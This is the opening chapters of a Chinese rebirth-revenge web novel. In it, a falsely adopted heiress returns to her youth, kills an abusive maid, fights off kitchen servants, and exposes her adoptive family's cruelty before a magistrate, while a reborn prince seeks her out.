《两眼一睁就是杀,都重生了磨叽啥》
第1章 重生第一杀
她再也不欠晏家什么了。
这是晏逐星临死前,最后一个念头。
“对不住,是我任性连累了你。”
她隐约听到有人在给她道歉,还带了一声叹息。
谁会因为她的死而伤心呢?
她只是一个鸠占鹊巢的假千金,霸占了爹娘兄长对小妹的宠爱多年。
害得妹妹在外边吃了那么久的苦头。
她这种罪人之女,根本就不配活在这个世界上。
而今死在这战场上,也算救了一方百姓,甚好。
她感觉她已经飘了很久很久。
嗯?
怎么黑白无常还没有来接她。
再睁开眼,晏逐星发现自己的魂魄竟然飘回了侯府。
想必是她执念太深,无**回,所以才回到了这里。
“夫人,大小姐这死还真不亏。既给二少爷挣到了一个爵位,又让皇上感念她的功劳,给二小姐赐了婚,让二小姐成了王妃。”
母亲温如霜的贴身嬷嬷李氏正眉飞色舞的为她的死而喝彩。
“一门双侯,还出了一个王妃,以后啊,夫人您就是这京城里最令人羡慕的人了。”
“确实死得其所。”温如霜微微一笑。
“也不枉我当年在街上见她活泼可爱,带回家中,养了这么多年。”
她从箱子里翻出了一个婴孩戴的金镯子,摆在面前晃了晃。
“看在她给侯府挣了这么多荣耀的份上,我便将她幼时贴身之物随着她一块下葬吧。说不定死后她还能在地下遇见她的亲生父母。”
“夫人慈悲。”李氏在一旁继续吹捧。
晏逐星魂魄一震。
什么意思?
不是说她出生就被接生婆故意调换的吗。
怎么听母亲的意思,她是被她故意带回来的?
“母亲,晏逐星的尸体怎么处理啊?真的要让她进咱们晏家的祖坟吗?”这时,她的二哥晏明修跑了进来。
“她又不是咱们晏家的孩子,凭什么进祖坟。”
“明月这几日总是睡不好,说一闭眼睛就能梦到晏逐星血淋淋的来吓唬她。”
“咱们还是请个大师把她的魂魄打碎了吧,这样她便不敢再来纠缠了。”
晏逐星不可思议地瞪大了眼睛。
她的二哥,竟然是这样阴狠的小人。
她的死给他挣来了一个侯爵之位。
他不愿给她一个体面的葬礼就算了,竟然还要把她打得魂飞魄散,不能轮回?
她攥紧了拳头。
“诶,二弟此言差矣。”大哥晏明远也来了。
“晏逐星虽**,但她生前容貌生得那般好,被不少男人惦记过。尤其是陆太傅前天死的那个孙子,我听说,对她一直颇有好感。”
“不如找陆太傅聊聊,让她跟陆池那小子,成冥婚。这样咱们家,也算和太傅搭上关系了。”
晏逐星魂魄颤抖了起来。
她都**,他们还不放过她,甚至还要再将她压榨一次?
要把她最后一滴价值给利用光才肯罢休?
“嗯。听你们的。记住,一定不能触怒了皇上。毕竟,她保住了永安王的全尸,乃是功臣。”温如霜点头同意了儿子的提议。
晏逐星听不下去了,她驱使着自己的魂魄飘到了二妹妹,晏家真千金晏明月的屋子里。
晏明月正对着镜子梳妆。
小丫鬟替她梳头,一脸担忧:“二小姐,万一二少爷没请到大师怎么办。大小姐日日入梦纠缠您,可如何是好?”
晏明月冷笑一声:“她活着便斗不过我,**我还会怕吗?她压根就没有进到过我的梦里。”
“我只不过想让二哥把她打得魂飞魄散罢了。”
无耻!
晏逐星再也压抑不住自己心中的愤恨,扑向了晏明月。
然而却从她的身上直直地穿了过去。
晏逐星这才意识到,她**。
她根本没办法对晏明月做什么。
她好恨,她不甘心,她怎么能因为这一家子狼心狗肺的人死去。
如果能重来一世,她一定要让他们付出代价。
把他们全都杀了。
让他们也尝一尝她临死前被万箭穿心的痛苦。
她要向他们索命,一个都别想跑。
……
“大小姐,你还愣着做什么。你弄脏了我家小姐的衣裳,大少爷罚你亲自洗干净,你还敢偷懒?”
一个刺耳的声音从头顶传来。
晏逐星睁开眼睛,盯着面前放着脏衣服的木盆,又看了一眼自己被冻得通红的手指。
随后抬头一看,指着她鼻子怒骂的人正是晏明月的丫鬟茉儿。
晏逐星腹中一阵绞痛。
她想起来了。
这是她刚来月事的那日,她给晏明月让了位置,结果将血弄到了晏明月的裙子上。
晏明月委屈不已,嚎啕
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大哭。
晏明远罚她用手将衣裳洗干净。
这可是寒冬腊月,外边还飘着雪花。
她就用这盆冰水来给晏明月洗衣裳,后来落得了个一来月事就腹痛的毛病。
军医给她把脉,说她寒气入体,日后再难有孕。
所以……
是阎王爷听到了她心中当时说的话,特意将她送回来,让她了却心愿,将这些虚伪之徒都杀干净吗?
“你是不是不想洗了?你信不信我去告诉大少爷。到时候,罚你把瑶华院上上下下的衣裳都洗一遍。”茉儿居高临下地看着她。
谁都知道,大小姐不得府中主子的喜爱,被人欺负了也不会吭声,就是个软蛋怂包。
所以她最喜欢干这个惩罚大小姐的任务了。
下一刻,她忽然感觉自己喘不过气来了。
她定睛一看,发现原本还蹲在地上发呆的晏逐星猛地站了起来。
而那双被冰水浸泡过后带着寒气的手,正落在她的脖子上。
“可以呀,如果你有命去告诉他的话。”晏逐星面无表情地开口。
茉儿像是见了鬼一般,惊恐地瞪大了双眼。
“大、小、姐,你……就……不怕……”
她话还没说完,就被晏逐星拧断了脖子。
“你也知道我还是大小姐啊。你区区一个丫鬟,杀了便杀了,有什么好怕的。”
晏逐星微微一笑,松开了手,看着她的尸体软软地倒在了地上。
她把丫鬟的脑袋浸泡到了盆里,用晏明月的衣裳将她脖子紧紧缠绕住。
她将雪撒到了水盆里。
不一会儿,那盆水便结成了冰,将茉儿的脑袋牢牢冻在了里边。
这个丫鬟是晏明月的打手,已经替她欺负过她无数回。
因此杀了她,晏逐星没有任何心理负担。
上辈子,她在战场杀的人,多了去了。
更何况,老天爷给了她重活一次的机会,她若不为自己报仇,那岂不是浪费了老天爷的美意。
晏逐星面无表情地往晏明月的院子里走去。
晏明月害她,该死。
温如霜骗她,也该死。
晏明远和晏明修兄弟俩,一个想用她尸骨配冥婚,一个想将她打得魂飞魄散,更是该被千刀万剐。
她要把他们都杀了。
愤怒支配着她一步一步往前走。
走到一半,她忽然停下了脚步。
第2章 吃饱了,才有力气**
腹中饥肠辘辘,冷风似刀刮破她单薄的衣裳,往她皮肤里钻,冷得她打了个哆嗦。
她的脚步也变得有些轻飘无力。
晏逐星想了想,调转了方向。
她没有去找晏明月,而是去了大厨房。
她饿了,要吃饭。
吃饱了,才有力气**。
……
晏逐星刚跨进厨房院门,鸡汤的鲜香就裹着米饭的热气钻进了鼻腔。
灶台前切菜声戛然而止,七八双眼睛望了过来。
“大小姐来这做什么?难不成要抢了丫鬟给二小姐送饭的活计?”厨房的管事周妈妈甩着帕子嗤笑。
“饭做好了吗?”晏逐星盯着咕嘟冒泡的砂锅,喉头滚动两下。
灶上煨着整只老母鸡,汤面上浮着参须红枣和枸杞,油亮亮的,闻起来比她上辈子在军营啃的树皮草根香百倍。
“好没好跟你有什么关系。”周妈妈嗤笑一声。
“叫你一声大小姐,还真把自己当根葱了啊?去去去,赶紧走,别耽误了我们给府里的主子做饭。万一饿着二小姐了,你担得起这个责任么。”
侯府里众人皆知。
大小姐空有名头,实际上连个屁都不是。
夫人的心头宝只有二小姐晏明月一人。
“我要吃饭。”晏逐星平静地开口。
“山珍海味也是喂人的,您配么?”周妈妈满脸嘲弄,“等主子们用完膳,泔水桶里给您留两口热乎的!”
满屋哄笑再次炸开。
晏逐星径直往灶台走去,一把推开了正在烧火的小丫头。
她从灶台里抽了一根带着火星子的柴火棍,直接往周妈妈身上招呼。
“你想干什……”
“么”字还没说出口,周妈妈就被烫得一蹦三尺高,发出了凄厉的惨叫。
火星子“噼里啪啦”炸在周妈妈的衣裳上,烫出个焦黑的窟窿,她身上的皮肉似乎都被烫得绽开了。
他们齐齐都傻了眼。
这还是那个打不还手骂不还口的窝囊废大小姐么。
“愣着干嘛,还不赶紧把她捉起来送去夫人面前问罪!”厨房的二把手,周妈妈的头号狗腿子孙鼎抡起菜刀号召众人往前冲。
一时间厨房里洗菜的切菜的端菜的都冲晏逐星围了上去,想要把她捉去**行赏。
晏逐星二话不说又抽了一个新的烧到一半的柴棍出来。
双手交替挥舞着,快得像是风火轮。
柴棍上还带着火,她下手快准狠,招招都是搏命的架势。
这都是上一辈子在军营里练出来的。
虽然这具身子还不像五年后那么厉害,但她自小力气就比旁**,所以打这些没有练过的下人绰绰有余。
周妈妈瞧见众人碍于晏逐星手里的烧火棍不敢上前,当即嚷嚷道:“傻了吗,你们也拿烧火棍打她呀!”
有眼力见的小厮丫鬟们赶紧捡起了柴火棍子想要去打晏逐星。
“不让我吃饭是吧,那就都别吃了!”
晏逐星一脚踢翻了灶台上的老母鸡汤,砂锅飞起,热汤滚出,烫到了抡着菜刀冲过来的孙鼎。
孙鼎发出了杀猪般的惨叫,他手里的菜刀滑落,正好砍到了自己的脚面上。
他又一次发出了尖叫。
紧随其后的小厮们也被烫得抱脚乱跳。
带着油星子的鸡汤洒落在地,一些脚滑的小厮摔了个四脚朝天。
晏逐星旋身躲过扫来的木棍,肘击撞飞了一个胖厨娘。
手中的烧火棍断了,她抄起案板上的擀面杖砸得上前的丫鬟鼻血横流。
“反了天了!”周妈妈大叫着冲过来。
晏逐星直接把蒸笼扣到了她的脑袋上。
随后把厨房里的锅碗瓢盆“乒乒乓乓”砸了个稀巴烂。
一时间,整个厨房只剩下了此起彼伏的哀嚎和锅碗碎裂的声音。
“疯了,你真是疯了。”
周妈妈退后几步,目瞪口呆。
众人再也不敢上前招惹这位发疯了的大小姐,躲在角落里的丫鬟小环受伤最轻,她慌慌张张地跑去找二小姐告状。
晏逐星有些懊恼。
砸的时候忘了给自己留个碗了。
她仔细翻找,从地上捡了一个带着八分完整,带着豁口的碗,把木桶里残存的米
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饭盛到了碗里。
又将砂锅里还剩了一点的鸡汤倒了进来,做成了鸡汤拌饭。
她端着碗,拿躺在地上东歪西扭的下人当下饭菜,看着他们的惨状一口一口把这碗鸡汤拌饭吃完了。
嗯,真香。
……
“什么?”
晏明月听完小环的话,不可思议地瞪大了眼睛。
“你说姐姐对你们做了什么?”
那个大闹厨房的人,真的是晏逐星么。
怎么和她印象里的完全不一样。
小环卷起袖管露出烫红的手臂,哭哭啼啼道:“奴婢亲眼见大小姐举着烧红的柴火,周妈妈手心后背都被烫烂了!”
晏明月吓了一跳,当即用帕子捂住嘴,眼圈说红就红。
“姐姐怎么会做这样的事情,莫不是疯了?”
说完,她又道:“茉儿,快给小环拿些伤药来。”
喊完她才反应过来,茉儿不是去监督晏逐星洗衣裳了吗。
晏逐星怎么去了大厨房?
茉儿呢?
一肚子的疑惑,她重新唤了另一个丫鬟给小环上药。
小环感动得两眼泪汪汪。
二小姐真好,比大小姐那个疯子好多了,这样的人才该是他们侯府的千金。
晏明月想了想,命丫鬟蔓儿去看看茉儿如何了,自己则领着小环去了主院。
正厅里。
温如霜拨弄着算盘珠子,抬头就见小女儿蝴蝶似的扑进怀里。
“娘!姐姐把厨房砸了,说要烧死所有人!她不会疯了吧?”晏明月一脸担忧。
“胡说八道。”温如霜撂下狼毫笔。
晏逐星可是她从小看着长大的,那性子被她养得唯命是从,怎么可能做出这样的事情。
晏明月给了小环一个眼神。
小环当即会意,将大厨房里发生的事情添油加醋地说了出来。
温如霜眉头微微皱起。
她不信晏逐星那么大胆,但这丫鬟身上的伤痕又做不得假。
是真是假,一探便知。
于是她领着几个护卫,去了大厨房。
没想到,才走到半路,就被人拦住了。
第3章 动心了
“夫人,二小姐,茉儿她、她**。”
先前被晏明月派去找人的丫鬟蔓儿脸色煞白地跪在了两人面前。
“什么?”晏明月错愕之余又有些烦躁。
她的掌心瞬间收紧。
今日发生的种种,莫名让她有一种失控的感觉。
她挽着母亲的胳膊,眼泪啪嗒落下。
“娘,茉儿先前帮着姐姐在洗衣裳,怎么会不明不白的就**呢?姐姐还去砸了厨房,打伤了那么多人,莫不是她得了疯病,先杀了茉儿,又要害死别人?”
一席话,直接将**的罪名扣在了晏逐星身上。
温如霜的脸色愈发不好看了。
“茉儿**的?”她盯着蔓儿询问。
蔓儿回忆着先前看到的场景:“奴婢不知,只瞧见了她的脑袋扣在洗衣盆里,被水冻起来了。”
早上还一起笑着讨论帕子要绣什么花样的小姐妹,如今成了一具冰冷的尸首。
她瑟瑟发抖。
“先去大厨房。”温如霜果断下了决定。
茉儿之死与大厨房的变故都和晏逐星有关。
那就先去见她。
看看她究竟发的什么疯。
……
他们抵达大厨房的时候,晏逐星正在烤火。
自打上辈子身子骨受损后,她就格外怕冷。
即便如今身子还有挽救的余地,但她也还是觉得冷。
天冷,心更冷。
看着并肩而立的温如霜母女,晏逐星身体里被压制的恨意四处流窜。
从血液中渗透到了骨缝里。
她真想像掐死茉儿一样,掐死这两母女啊。
不过这样不划算。
饥饿被填平后,晏逐星的脑子也清醒多了。
若是就这样杀了她们母女俩,肯定会被抓起来蹲大牢。
到时候岂不是便宜了晏明修和晏明远两个畜生。
“星儿,你疯了吗?这,这是怎么一回事。”温如霜看着一片狼藉的厨房,错愕不已。
看到她,周妈妈连滚带爬扑了过去。
她的发髻歪斜着挂了几片菜叶,眼泪鼻涕糊得满脸都是。
她扯着嗓子哀嚎道:“夫人,您要替我们做主啊。”
随后她便把晏逐星来到厨房之后干的事情,一一说了出来。
其他的下人也像看到了主心骨似的,纷纷告状。
温如霜脑海瞬间闪过和晏明月一样的念头。
晏逐星疯了吧。
她怎么敢的。
“星儿,你可有什么话要说?”温如霜端着侯府主母的架子,板着脸看向晏逐星。
晏逐星很平静:“我饿了,想吃饭,这些刁奴不让我吃。我乃侯府大小姐,惩治恶奴,有问题吗。母、亲。”
最后那声母亲,温如霜不知为何,硬生生地听出了一丝杀意。
眼前的人明明还是平日里的打扮,看起来没有什么变化。
只是那一双眼睛看起来像棺椁里挖出来的陪葬玉,浸着墓穴里的阴气,让她无端打了个寒噤。
“那茉儿呢,茉儿什么都没做错,你为什么要害死她?”晏明月见娘亲被她问住了,赶忙提起了这件事,想要彻底坐实晏逐星**的名声。
晏逐星淡淡道:“我知道你一直记恨我霸占了你晏家大小姐的位置,但你也不能空口造谣我杀了人啊。”
晏明月一愣,没想到她竟然转移话题。
她扭头看向一旁的温如霜,哭得梨花带雨:“娘,我从未记恨过姐姐,更没有造谣。我只是想还茉儿一个公道。”
温如霜看着亲女儿掉眼泪,心疼不已,赶忙拍了拍她的手背以示安慰,随后遣散了下人,单独呵斥晏逐星。
“你霸占了你妹妹的千金小姐位置数十年,好不容易我们把她找回来了,你凭什么凶她。”
“你在晏家锦衣玉食的时候,她可是在外受尽苦楚。你一辈子最对不起的人就是她。”
“为了保全你的名声,我们只能对外宣称她是你同胞妹妹,当初生下来身子骨不好送到了倾城山上养着。”
“侯府为了你,让步了那么多,你妹妹为了你,受了那么多委屈,你怎么能这样对你妹妹。”
“星儿,给你妹妹道歉。”
晏逐星只觉得可笑至极。
上辈子,她竟然就是被这些话日复一日的洗脑,相信了是她亏欠的晏明月。
她霸占了晏明月的千金小姐之位,她害得她受了苦,她就应该一辈子做牛做马地补偿晏明月。
侯府留下她,让她继续当大小姐,她应该对他们感恩戴德一辈子。
可她明明是被温如霜拐带回家的。
侯府上下都在骗她。
晏逐
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星冷笑一声,一字一句道:“不道歉的话,你们要送我去见官吗?”
她脑海里飞速谋划着接下来的事情。
上辈子她就听说过京兆尹裴明镜。
此人从不结党营私,是出了名的公正严明和善良。
京城里那些达官贵人的面子,他谁都不给,依旧我行我素,律法该怎么判就怎么判。
谁让他是太后娘家唯一的独苗苗,太后宠他胜过皇室子弟。
借助裴明镜,她定然可以撕下侯府众人伪善的面皮,让他们狠狠栽一个跟头。
顺便,给自己求一道护身符。
“你翅膀硬了是吧?你是非要把我这个当娘的气死吗?我怎么就养了你这个不孝女,早知当初,就该把你溺死。”温如霜第一次被晏逐星忤逆,气得浑身发颤。
“你这不是没死么。”晏逐星做鬼的时候知道了真相,自然不会再为她的话感到伤心。
“你,你,你……”温如霜经受不住这个刺激,当场被她的话气晕了过去。
晏逐星觉得十分可笑。
原来温如霜这么脆弱啊。
她对她说过那么多难听的话,怎么她只回了一句她就受不了了。
“姐姐,你把娘亲气晕,你大不孝!等爹爹和大哥二哥回来,他们不会饶过你的。”晏明月没想到晏逐星今天竟然像个疯狗,逮谁咬谁。
一点都不带怕的。
她这是被鬼上身了么?
“对啊,我气晕她,你有本事把我送去京兆尹坐大牢呗。”晏逐星故意刺激她。
坐牢?
晏明月动心了。
若是晏逐星入了大狱,那她这一辈子就彻底毁了,再也别想有翻身的那一天,她将永远被她踩在她脚底下。
想到这,晏明月果断下令:“打杀奴婢,不敬母亲。来人,将晏逐星押送至京兆府,还茉儿一个公道!”
……
晏逐星被押送至京兆府时,永安王谢翊宁在一阵剧痛中惊醒。
他下意识地捂住了心口。
他梦到战场上,万箭齐发。
一个女子护住了他,以肉身为盾牌,挡住了那些箭。
只是最后一箭劲道骇人,如白虹贯日,生生穿透两人心口。
他只来得及和对方说了一句“对不住,是我任性连累了你。”就彻底没了呼吸。
第4章 侯府的脸面,全被他给弄丢了
“王爷,您醒了?东宫传来喜讯,太子妃诞下了小郡主。”
门外传来贴身护卫停云的报喜声。
“小郡主?”谢翊宁猛地一顿。
梦里,好像太子妃嫂嫂诞下的正是小郡主,父皇很是高兴,给其赐名令仪。
他忍不住追问:“父皇可曾给她赐名?”
“取了,名唤令仪。”
这名字和他梦里的一模一样!
谢翊宁反应了过来,那或许不是一场梦,而是真实发生的事情,他幸运地重新活过来了。
他当即把停云叫了进来,吩咐道:“速速命人去边关霍家军查探,军中可有女扮男装的将士。”
停云:?
不理解,但听话照办。
“是。”
……
晏逐星被侯府管家带着下人押送到了京兆府。
晏明月打定了主意想让晏逐星丢人,临行前给了管家暗示,让他们无需避讳,任意散播晏逐星**,气晕母亲的事情。
一路上,众人议论纷纷。
“这侯府大小姐可真是上不得台面,比不得二小姐半分。”
“我看她给二小姐提鞋都不配,那丫鬟看着都比她像个主子。”
“又是**,又是气晕母亲,侯府怎么就出了这么个畜生。”
面对他们的议论,晏逐星面不改色,充耳不闻。
到了京兆府,管家林平扑通跪倒在地,声泪俱下地开始控诉晏逐星的罪名。
大虞律法规定,若奴婢有罪,主人未经官府审判直接杀死:杖刑一百。若奴婢无罪,主人故意杀害:徒刑一年。
裴明镜听完看向晏逐星。
“晏大小姐,你可有什么要辩驳?”
晏逐星一直低着头在酝酿情绪。
她终于等到裴明镜叫她。
她抬起头,眼睛红红:“我并未**,反倒是他们想要杀了我。”
“胡说八道,你可是侯府大小姐,谁敢杀你!”林平当即否认。
晏逐星直接卷起了袖子。
在场的人瞧着都倒吸一口凉气。
那双白皙纤细的手臂,满是青青紫紫的伤痕。
“他们是不敢杀我,但他们寒冬腊月里让我洗衣裳,不给我饭吃,还掐我打我,这和杀了我有什么区别。”晏逐星扑通跪到地上。
“求大人替我做主。”
她在侯府不受待见,下人们都欺负她,她不是没告过状,但温如霜只是轻描淡写地批评那些下人几句,根本没有认真惩罚他们。
于是那些下人愈发猖狂,根本不拿她当正经的主子。
三天两头骂她,饿她更是家常便饭,有时候心气不顺了,他们还会掐她打她。
她胳膊上背上都是伤痕。
她没有哭出声,只是默默地流眼泪。
“我不明白,同样都是母亲的女儿,为什么妹妹锦衣玉食,冬日里有狐裘,银丝炭。而我住在漏风的院子里,穿着下人都不稀罕的旧棉袄。我只是把疑问说出来,母亲便晕了过去,这也能怪我吗?”
“我连饭都吃不饱,我怎么**?下人打我骂我,我连还口都不敢,我怎么**?”
晏逐星的声音并不大,但每一句话却像一个小锤重重砸在旁人的心上。
侯府的下人脸色全变了。
裴明镜的目光落在了她破旧的外衫上,这哈气成霜的日子,一个姑娘家,穿得比他还少。
看来这定远侯府的腌臜事情比他想象的还要多啊。
“这,夫人有命人给你做衣裳,是你自己不穿,非要给二小姐的。”林平结结巴巴地辩解。
“你这是故意穿的少,想要博取大人的同情!”
“你说是就是吧。”晏逐星再次低下了头。
之前的她,因为觉得对晏明月愧疚,所有的新衣裳都给了晏明月。
而她一直在捡晏明月不要了的衣裳穿,甚至到最后,只能捡丫鬟的衣裳穿了。
反正她从不出侯府,旁人来做客,温如霜也总是让她称病不见人。
因而许多人都不知道定远侯府大小姐是什么模样,只知道侯府有个才艺双绝的二小姐。
裴明镜站在高堂上,看不清她的脸,只看到她的眼泪如同断了线的珠子一般滴答滴答地落在了公堂之上。
先前那些辱骂晏逐星的百姓,见她这么惨,不由又同情起她来。
“这侯府大小姐怎么过得连我家妞妞都不如,我家妞妞过年还能得一套新衣裳呢。这大小姐怎么
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穿成这样。”
“就是啊,定远侯府也太抠门了吧。虽说大小姐愚钝讨人嫌,但总该让人吃饱饭才是吧。”
听着百姓们的议论,林平脸色发白。
糟了糟了,这次彻底把事情给搞砸了。
侯府的脸面,全被他给弄丢了。
眼前浮现起侯爷那张铁青的脸,他腿肚子直抽筋,数九寒天的,他背后竟然被冷汗给打湿了。
“那丫鬟的尸体呢?”裴明镜并没有因为晏逐星看着可怜,就跳过了这一遭。
“在侯府里。”林平颤颤巍巍地回答。
裴明镜当即命人去侯府验尸。
仵作到了侯府,发现茉儿整个脑袋连着脖子全都被冻住了,一时间有些为难。
只得检查她身上其他地方有无受伤的痕迹。
看了一圈,发现并没有外伤,死前也不像有剧烈挣扎过的痕迹。
他想了想,开口道:“你们把尸首抬回京兆府,等这盆水化了,再细细检查。”
侯府下人不想干这种搬运**的活计,但官爷都发话了,他们只得应下,将人连盆一块搬出侯府。
结果刚到大街上,身后就“扑通”一声响。
仵作一回头,就看到了一个脑袋咕噜咕噜地冲她滚了过来。
而脑袋的主人,正是被冻成冰块的茉儿。
她的身体,还在后边。
在场的人都被身体和脑袋分离的尸体吓了一跳。
“你们怎么搞的。”领头的衙役怒声呵斥。
抬尸体的下人赶忙解释:“太滑了,我们没抓住,抬起来的时候手一抖,她就摔到地上去了。”
“没错没错,就是这样的。”另一个人连忙附和。
他们俩欲哭无泪,茉儿晚上不会来找他们算账吧?
他们竟然害得她死无全尸。
仵作只得现场去看头颈分离的伤口,发现并没有别的伤痕,他皱了皱眉头,让人替茉儿收敛尸体,而后回京兆府复命。
“那位丫鬟,估计是洗衣裳时脚滑了,不小心栽到盆里,窒息而亡的。”
晏逐星听到这个结果,暗暗松了一口气。
但她不敢表现出来。
因为裴明镜正静静地盯着她,目光如炬。
第5章 戏演过了,可就不好看了
耳边传来脚步声。
裴明镜一步一步逼近她,晏逐星的心几乎要从嗓子眼跳出来了。
脚步声停止,晏逐星只看到了一双青黑色官靴停在眼前。
“是真是假,总要亲眼看过才知道。本官要亲自去一趟定远侯府。晏大小姐,带路吧。”
裴明镜淡定的声音传来,晏逐星点头起身。
不料起得太猛,有些头晕,差点一个踉跄栽倒在地,幸好裴明镜眼疾手快地搀扶了她一把。
待她站稳,裴明镜便飞快松开了手。
晏逐星行礼:“多谢大人。”
裴明镜眸光落在她纤细的手腕上,点了点头。
这手,的确很冷。
一旁的管家林平已经吓得说不出话来。
裴大人要去侯府,这事可真是闹大了!
他给心腹使眼色,想要让人快点回去将此事告知夫人,不曾想,裴明镜却抢先一步,让下属其他人留下。
只让晏逐星领着他去侯府。
走出京兆府,一个丫鬟捧着一件碧色披风跑了过来。
“大少爷,您要的披风。”
裴明镜冲晏逐星的方向使了个眼色。
丫鬟一愣,随后抖了抖披风,将披风替晏逐星给穿上了。
披风领口镶着白绒绒的兔毛,衬得晏逐星脸色愈发的白了。
“这是我堂妹的披风。”裴明镜解释了一句。
晏逐星摸着披风上的如意绦子,轻声道:“多谢大人。”
裴大人真是个好官啊。
怕她被冻死,又顾及她的名节,特意命家里人送了一件女子的披风来。
身体的暖意从心头涌起,流向四肢百骸,暖得她有些想掉眼泪。
这是她重活一世回来,收到的第一份善意。
她会好好铭记。
……
停云命人快马加鞭去了边关后,而回了王府,忍不住把先前路过京兆府的事情说了出来。
“王爷,今个遇上了一件稀奇事。”
“哦?什么事?”谢翊宁懒洋洋地开口。
“定远侯竟然**嫡女,晏大小姐过得连咱们王府的丫鬟都不如。”他把晏逐星和侯府管家对簿公堂的事情说了一遍。
这事在京中已经传开,闹得是沸沸扬扬。
谢翊宁眉头皱了起来。
上辈子,好像并无此事。
他一下又不确定了。
他那到底是做梦了,还是重生。
又或者是,他的重生让很多事情都发生了变化。
他提笔在纸上写下了“定远侯”三个大字。
放下笔,他做出了决定,今夜要亲自去定远侯府探一探。
……
晏逐星将裴明镜带到了定远侯府。
侯府里下人顿时乱套了。
大小姐怎么没被关起来,反而还领着京兆府那位皇上见了都头疼的裴大人回来。
晏明月咬着唇,一时间不知道该如何是好。
“你糊涂啊!”温如霜醒来,得知女儿竟然把晏逐星送去了京兆府,差点没气得又晕过去。
“一荣俱荣,一损俱损。为什么一直没对外声张晏逐星的**,那都是为了侯府的名声。她与你是姐妹,她若下了大牢,你还能和好人家结亲么。”
晏明月被她训得眼泪汪汪。
她当时光想着让晏逐星丢脸,根本没考虑那么多。
“娘亲,我知错了,我只是想吓唬吓唬姐姐,让她给茉儿道歉,我没想到会变成这样的。”她哽咽着替自己辩解。
温如霜看着哭得一塌糊涂的女儿,只能强撑着身子起来去收拾这个烂摊子。
得知晏逐星将裴明镜领去了她住的院子,温如霜加快了脚步。
完了,这下她苦心经营多年的慈母名声,要不保了。
“裴大人,这就是我住的院子。”晏逐星指着漏风的院子给裴明镜一行人介绍了起来。
这下不止是裴明镜,跟着他的那些衙役都露出了惊讶的表情。
这院墙歪斜得快要垮塌,半扇门板耷拉着露出拳头宽的缝,其中一扇糊窗的纱早就破成了烂布条,风一吹就哗啦啦作响。
让人难以置信,富丽堂皇的侯府里,竟然还有这么一处格格不入的地方。
晏逐星不语,只是带着他们进去走了一圈。
当初晏明月被找回来后,在温如霜等人的洗脑下,她觉得十分愧疚。
将自己的院子让给了晏明月,自己搬去了一个小院子。
但晏明月还不满足,总是在她面前哭诉自己之前过得有多不好,她住的地方有多么破。
晏明月每哭一次,定远侯夫妻和两个哥哥看她的表情就越厌恶。
她不明白为什么疼爱她
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十年的爹娘兄长,一夜之间就变了。
于是她想尽办法讨他们的欢心。
她提出想要体验一下晏明月曾经的生活,这样大家都吃过一样的苦,就公平了。
侯府众人欣然答应,让她搬到了这个荒废的院子。
这原本是老侯爷的一个妾侍住的。
后来那个妾侍疯了,这个院子就渐渐荒凉了。
当初说好只体验一个月,但后来谁也不提让她搬回去的事情,在这个破烂的院子一住就是四年多。
“这破地方能住人?”走在最后面的年轻衙役嘟囔出声,被同伴捅了一肘子。
赶来的温如霜听到这话,脸色白得更难看了。
她将路上想出的借口说了出来:“星儿打小就崇拜她的父亲。她是特意搬来这里的,为的是忆苦思甜。毕竟侯爷当初打仗,住得比这还艰苦。我劝了好几回,这孩子就是不听劝,非要住在这里。”
说完她又看向了晏逐星,目光带着警告。
“星儿,你说对吧?”
紧随其后的晏明月也跟着开口:“姐姐,你不要再和娘赌气了。今日你要闹到公堂上去,我们也随了你。现在到家里了,就不要再闹了,免得耽误了大人的正经事。”
晏逐星不语,只是拢了拢身上的披风,又惊又怕地看了裴明镜一眼,随后眼眶泛红,一言不发,只是怯生生地点了点头。
温如霜快气**。
这丫头一句话不说,还不如反驳她呢。
这惺惺作态的样子,不是明摆着昭告天下,他们在欺负她么。
裴明镜看着他们母女三人对峙,慢条斯理地开口:“哦?看来是侯爷日理万机致齐家无方,这才让恶奴折辱了嫡女。本官明日自当具本上奏,请旨陛下,着定远侯闭门整饬家宅。”
听到这事要闹到皇上面前,还会害得定远侯闭门思过,温如霜和晏明月脸上血色尽褪。
裴明镜说完没给他们解释的机会,转身带着下属便要离开。
晏逐星快步追了上去,指了指身上的披风:“裴大人,披风清洗干净后,我会亲自登门拜谢,将其送还给裴二小姐。”
裴明镜顿住脚步,压低声音道:“大小姐,戏演过了,可就不好看了。
晏逐星身子一僵。
他看穿了她的苦情戏!
第6章 打了他们,可就不能打我咯(顺手的事)
就在晏逐星以为他会不搭理她的时候,他却看向了温如霜母女,扬声道:“好,我会让阿芜在国公府静候大小姐。若大小姐不来,我会让她亲自上门讨要。”
“多谢大人。”晏逐星轻轻舒了一口气,冲他行了一礼,目送他们离开。
下一次,她绝对不会再露出破绽。
裴明镜等人一走,缓过神来的温如霜走过来抬手就要扇晏逐星耳光。
但手刚伸过来,就被晏逐星接住了。
她的眼眸平静无波,说出来的话却让温如霜气得浑身发颤。
“母亲,你是想让我过两日顶着被扇肿的脸去卫国公府上做客么。恐怕,到时候裴大人会再参父亲一本。”
“你,你这个逆女!你是要毁了咱们定远侯府吗?”温如霜双腿一软,再次晕了过去。
晏明月彻底慌了神,再也不装那委屈巴巴的可怜模样,她怒喝道:“等爹爹和兄长回来,你就等着挨训吧。”
晏逐星不慌不忙地开口:“那就等着吧。说不定,到时候你还得把瑶华院还给我。”
“你休想!爹爹和大哥二哥最疼我了。”晏明月气得直跺脚。
……
暮色时分,定远侯怒气冲冲地回了侯府。
在官学就读的晏明修和晏明远也跟在了身后。
今日对薄公堂之事已经传遍了全京城,他们想不知道也难。
定远侯一回来,晏明月就迎了上去,把裴明镜今日来侯府说的话添油加醋都说了一遍,把黑锅全都甩到了晏逐星身上。
定远侯的脸变得越来越黑,找到晏逐星第一件事,就是将桌上的茶杯砸向她:“逆女,你今日为什么非要闹着去京兆府,你是想丢尽我们侯府的脸吗?”
晏逐星闪身躲开,抬头看他,一言不发,等着他继续说下去。
省得待会她一开口,他和温如霜一样被气晕过去。
那可就太耽误时间了。
趴在屋顶偷看的谢翊宁在晏逐星的抬头的那一瞬间,看清了她的脸。
他顿时身子一震。
那张脸,他见过!
虽然比梦里的稚嫩,但这位晏家大小姐,绝对是战场上救了他的那位姑娘。
踏破铁鞋无觅处,得来全不费工夫。
还去什么边关找人,要找的人就在眼前。
“停云,不必去边关找人了。”他扭头吩咐。
停云:?
王爷怎么一觉醒来之后,就奇奇怪怪的。
先是让他去军营找个女扮男装的将士,又要亲自来定远侯府听墙角。
他有些后悔,不该把晏家大小姐上公堂的事情告诉王爷的。
